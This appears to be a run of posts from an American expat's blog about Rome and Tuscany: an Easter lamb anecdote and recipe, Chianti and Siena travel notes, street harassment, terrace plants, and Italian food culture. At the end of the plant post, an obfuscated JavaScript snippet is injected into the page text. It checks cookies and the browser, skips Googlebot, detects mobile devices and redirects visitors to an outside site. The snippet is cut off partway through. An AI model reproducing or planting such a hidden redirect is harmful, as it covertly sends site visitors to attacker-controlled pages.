Who are you looking at?

Inter-cultural faux pas of the day: I think I offended my butcher by not accepting the lamb’s head he wanted to give me for free when I went to pick up my meat for Easter.

When it was my turn at the counter, he proudly presented me with the disembodied head (well, half a head, sliced vertically) and gave me a huge smile.

“I’ll put this in for free,” he said, searching my face for a sign of appreciation. Instead he found my mouth gaping in horror. Once I got over my initial reaction, I tried to compose myself.

“Oh thank you, but …um …I’m American and …uhhh …we usually don’t eat …those …parts.” The whole time my eyes are darting around the shop, trying to avoid eye-contact with the poor little half a lamb staring up at me. The woman next in line glared at me jealously.

“What about your husband? Won’t he like it?” the butcher asked, confused by my reaction.

In an attempt to not make my hubs sound like a total wuss, I replied, “Well he was brought up abroad, in cultures that don’t eat heads either.” Lame response, but I had to give some explanation for not accepting my butcher’s generosity.

This is one thing that took me a while to get used to in Italian culture and food: the head. Restaurants will serve you a whole fish, who then watches you from the plate as you eat him. Supermarkets sometimes only sell fresh shrimp whole, forcing you to tediously pluck the heads and legs off of each one if you want to make scampi. There are even cured meats that contain parts of pig head (ever heard of coppa? It’s good…)

But the lamb’s head at Easter dinner is especially coveted.

A couple years ago I was at my boyfriend’s (now ex) house for Easter. The whole family was there: parents, siblings, nieces, nephews, and grandparents. I was seated across the table from the old Sicilian grandmother, widowed years ago and who wore only black. She was deaf as a post, and wore those thick old-lady glasses that gave her googly eyes.

Seeing as how I was unable to communicate with her properly, I was engaged in conversation with my boyfriend’s sister sitting next to me. While chatting, I unintentionally served myself the lamb’s head, which I didn’t notice until I turned my attention to my plate and stuck my fork in its cheek. I was mortified. I didn’t want to make a scene or offend my hosts by putting it back, so I leaned over to my boyfriend and quietly asked him to remove the meat from my plate. He was equally disgusted, and therefore offered no help.

Suddenly, the old Sicilian grandma, who was so short she barely cleared the table, reached over and stuck her fork in the lamb’s eye. Without saying a word she took the head and plopped it on her own plate. With a satisfied smile, she continued to enjoy her Easter lunch.

Here’s the recipe for my super simple Easter lamb:

Ingredients:

Leg of lamb, butterflied

Olive oil

Salt

Pepper

Garlic

Rosemary

Thyme

Have your butcher butterfly the leg for you, so it’s just about cut up in pieces but still attached. The day before you plan on cooking it, smother it with olive oil, stick whole cloves of garlic in each slice, and sprinkle with pepper, thyme and rosemary. Cover and put it in the fridge overnight.

When ready to cook, preheat oven at 180°C (or 360°F). When oven is hot, put in the lamb, covered with aluminum foil. After 30 minutes, remove cover and cook for another 15 minutes.

Salt to taste and serve! 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Sightseeing in Siena

So picking up from where we left off in my previous post

The Mister and I drove for about an hour through the scenic Chianti Classico region until we hit Siena. This medieval city is famous for the twice yearly Palio — a bareback horserace held in the main piazza. I, however, am more attracted to the relics on Saint Catherine. Keep reading for details.

Before heading into the city, we checked into the Castello di Monteliscai where we would be staying for the night. Located about a five-minute drive from Siena’s city walls, this was once a castle — now turned into rooms and apartments that can accommodate up to six people. The owners also run the nearby Agriturismo Malafrasca, a small B&B and farm that produces its own wine and olive oil.

After checking in we drove to Siena’s city walls, where we parked and then took about six escalators up to reach the hilltop city. It was getting late in the day, so we hustled over to the Basilica of San Domenico to get in before it closed. This church houses the head and one finger of Saint Catherine of Siena among other relics (her body is in Rome, and her foot is in Venice…poor Saint Catherine)!

We were promptly kicked out of the church as it was closing time, but spent the rest of the evening wandering around the city, passing by Saint Catherine’s house, the white-and-green striped duomo, and ending up in the shell-shaped Piazza del Campo. Here, we sat at one of the many cafès that run along the edge of the piazza and had a glass of Brunello — a red wine containing 100% Sangiovese grapes. This is one of my favorite Italian pastimes: sitting in a piazza with a glass of wine or aperitivo and people-watching.

View from our table in Piazza del Campo

In the US we call it cocktail hour, but it Italy it goes beyond that. Anywhere between 6pm and 9pm, Italians gather at outdoor cafès or down at their local bar for a pre-dinner drink and socializing. The drink can be a glass of wine, prosecco, Campari soda, Martini bianco, or even a stronger cocktail. In the past few years, the spritz has become popular outside of its original northern region: prosecco mixed with a bitter liqueur. Most places offer finger-food to accompany your beverage. But different from just a normal pre-meal thirst quencher, it’s an opportunity to see and be seen. Especially when sitting outdoors, nearly all parties are facing outwards as the children who play with a soccer ball in the piazza become to focus of everyone’s attention. It’s a time to be lazy, to wind down after a long day and plan your next move.

Our next moves were obvious: food and sleep. We had been on the road all day and were starting to get tired. Due to the fact that it’s such a major tourist attraction, finding a good meal in Siena can be difficult if you’re an outsider (well, eating badly in Italy is nearly impossible, but we prefer eateries that don’t cater to tourists). Luckily, the owners of our “castle” had given us a suggestion in the next town over. We, headed out to the Vecchia Osteria just north of the city on the SP408, where I had the best lamb of my life! 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Cruising through Chianti

The hubs and I finally got two consecutive days off so — as mentioned in my previous post — we took a trip to Tuscany.

Leaving from Rome at 7am, we took the A1 north towards Florence and got off at the exit Incisia. From there, we took a secondary road (SP16) to Greve in Chianti, right in the heart of the region famed for its lush rolling hills covered by Sangiovese vineyards.

It is here that Chianti Classico wine is produced. Different from the other types of Chianti, a bottle of Chianti Classico contains a minimum of 80% of the Sangiovese grape (for more info on Chianti Classico, including places to stay or wine-taste, click HERE).

After the long drive, we were ready to decompress. We headed up to Montefioralle, a small village with beautiful views of the surrounding countryside. Is was here that I had made an appointment to do some wine-tasting with a local winery, Azienda Agricola Montefioralle.

The owner, Fernando, met us at the main parking area (which accommodates about eight cars). We took a short stroll through the town until we reached his vineyard on the outskirts. The three of us sat out at a picnic table and began tasting a selection of about six of Montefioralle’s Chianti Classico from various years. Fernando had also prepared a small plate of fresh breads topped with local meats — too keep the wine from getting to our heads. There, with views of Montefioralle and rows of vineyards, Fernando told us everything there is to know about the growing, harvesting and ageing of his wine.

He told us that his particular winery only produces about 3,000 bottles a year. 1,000 are consumed by his extended family, while the other 2,000 are sold directly to the consumer. That’s one of the many charming things about Italy: there are so many small, family-run wineries that many people are personally acquainted with their wine producer (the same goes for other kinds of farmers as well). Instead of buying from the big, commercial brands found in the supermarket, I know a number of households that prefer to purchase their favorite beverage directly from the small winery — surely produced with more love and care.

Along with the Chianti Classico, we also tried some Vin Santo: a sweet dessert wine made from raisins. If you order Vin Santo in a restaurant, it is often accompanied by homemade cookies meant for dipping into the wine …one of my favorite ways to end a good meal!

After we finished our tasting, he took us to the small cellar and then back to the town center where we said our good-byes. There was a small restaurant emitting enticing smells of grilled meat, so we popping in for a quick lunch.

Back on the road again: We followed the SR222 or Via Chiantigiana south. This road runs through some of the most beautiful landscapes in Tuscany, and takes you right into Siena.

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Ciao, bella!

I recently came across THIS ARTICLE on the BBC website about how feminist groups are trying to stop sexual harassment on the street.

What surprised me is that no mention is made of Italy, where catcalling is so common it deserves some type of UNESCO recognition. And you don’t need to experience it to know it: Even in movies like Under the Tuscan Sun or Eat, Pray, Love Italians guys are commenting on — and even following — girls on the street. And we all recognize this as an amusing characteristic of Italian (mainly Roman) behavior.

As someone who has experienced it first-hand (and knows many others who have as well) it’s not always as cute as it appears in the movies. Sure, it’s not exactly threatening when an 80-year-old man’s eyes linger a little too long, but it’s annoying. What’s worse are the comments from passer-bys, the city bus driver honking, or full critiques of my physical appearance by men who think I don’t understand a word of what they’re saying.

Unfortunately, it doesn’t always stop there.

During my first year living here I experienced unwanted hands on my bum twice — once while waiting for a bus in broad daylight, and the other while riding on a crowded bus. My guidebooks had warned me about keeping an eye on my purse while riding public transportation — but it looked like I had to watch my backside too.

The majority of Italian men do not exhibit the above behavior …but sadly, the few who do are the most noticeable, and it gives the rest of them a bad reputation.

Have an experience you’d like to share? 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Spring has sprung

Blue skies, warm sun, and the birds are going nuts. After weeks of rain, spring is finally here! For me, it’s one of the most precious seasons in Rome as these are the few weeks before it gets ridiculously hot an humid and — being of Irish, Polish and German origin — before I have to start lathering on the sunscreen just to walk to the store.

It’s also the time of year that I remember my poor, rejected plants out on the terrace. I desperately want to have a green thumb, but can’t seem to even keep a cactus alive. Luckily, I have a husband for these sorts of things.

City-dwelling Italians are really good about keeping some green on whatever little outdoor space they have. Balconies are bursting with color, and you have to be careful when walking down a residential street in the evening as you might get watered-on (as I often have).

Of course, my favorite plants are the ones I can eat, and since they’re the ones planted directly outside the kitchen, I remember to water those year round. Unfortunately, I still managed to kill the basil and the mint (uh oh, better bring that back to life before mojito season begins).

I’ve also manage to turn my thyme purple. There’s still tons of it, but it’s lost that dark green color and has turned purple. So, my dear readers with gardening experience, is that normal?

Here are the plants that have somehow persevered:

←Sage: It won’t stop growing! And it’s so strong, I can only use one leaf in a recipe.

→ Rosemary: I use this more for winter recipes (roasts and such). This won’t stop growing either.

 

 

 

↓Lemons: What’s wrong with life giving you lemons? I use them all the time!

→ Parsley: I use this in every fish dish.

 

 

 

 

 

↓Citronella: I guess it keeps mosquitoes away. Gastronomically, I have no clue what to do with it.

→ Mini Mandarin-orange tree: I don’t eat these. But later in the season little while flowers bloom and they smell SO good!

 

 

 

Oh, and I murdered my peperoncini :-(var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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A poor college kid’s dream…

One of the simple joys of living in Europe: Fast food and beer. All in one location, at more than one location.

I decided to blog about this at lunch today. A new Subway has recently opened on my stomping ground, and my Italian hubby (who insists on having a Subway sandwich every time we’re in the US) had a hankering for the oversized delicious-ness that only a footlong sub can satisfy. Although I am the #1 fan of authentic Italian food, seven years of living in Rome has trained me to appreciate a good American sub once in a while.

After ordering my teriyaki chicken on oregano-and-parmesean bread (aka “Italian herb and cheese” if you’re in the US), the girl at the cash register asked if I’d like a “menu” — which includes a cookie and a drink. Of course, that cookie display is always so enticing …and I’m not one to turn down anything that includes the words double-chocolate and macadamia nuts. “And the drink?” I asked while guiltily breaking off a piece of the cookie. She pointed toward a large refrigerator stocked full of Pepsi, water and three types of beer. “Help yourself.”

This is no surprise to anyone who’s familiar with McDonald’s in Europe. You can easily substitute the Coke in your “value meal” for a small glass of beer (no ID required). Drinking is not nearly as taboo as it is in the US. Ask an Italian what the drinking age is, and you’ll rarely get a straight answer.  Some say 18. Others will say 16. Others will claim it doesn’t exist. Whatever the law may be, I’ve never seen it enforced. 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The reason I moved to Italy

Food.

I’m not kidding.

Think about it: You eat three times a day (or should eat three times a day, depending on the nutritional advice you follow; but for all intents and purposes let’s stick to three). If this is something you do three times a day, it should be enjoyable, fun, relaxing, fulfilling, tasty! Aside from this, it’s what fuels your body. It needs to be healthy, real and simple — not genetically modified* or pumped full of high-fructose corn syrup.

Italy has, in my humble opinion, the best food in the world. The recipes are so simple, but the quality of each ingredient is so good and mouth-wateringly flavorful. The best part is, I’m not the only food nut standing at the market, raving about the sweetness of strawberries while caressing eggplants. Any respectable eatery in the country serves only the vegetables in season, freshly cut meat or recently caught fish. The best of the best places don’t even have menus, but make you eat whatever they’re cooking that day.

Not only do Italians appreciate the quality and flavor of their food, they also respect mealtime. No drive-thru, grab-and-go, 15-minute-lunch-break mentality here. Sit, eat, drink, chat, sit some more, have a coffee, have some more to drink, no hurry. The waiter won’t bring your check unless you beg for it. Why? They don’t want you to feel rushed.

Any time I’ve considered moving back to the US or to a different country, I quickly remember the main reason why I moved to Italy and all my other doubts melt like the fresh mozzerella dripping from my pizza.

*The first time I went grocery shopping here in Rome, I was terrified of the bell peppers. They were all different shapes and sizes and some had more than one color! Weird. Back home at my Stop ‘n Shop they all looked the same. Nevertheless, I had to swallow my fear of the funky-looking veggies as I was determined to make fajitas for my roommates that evening. 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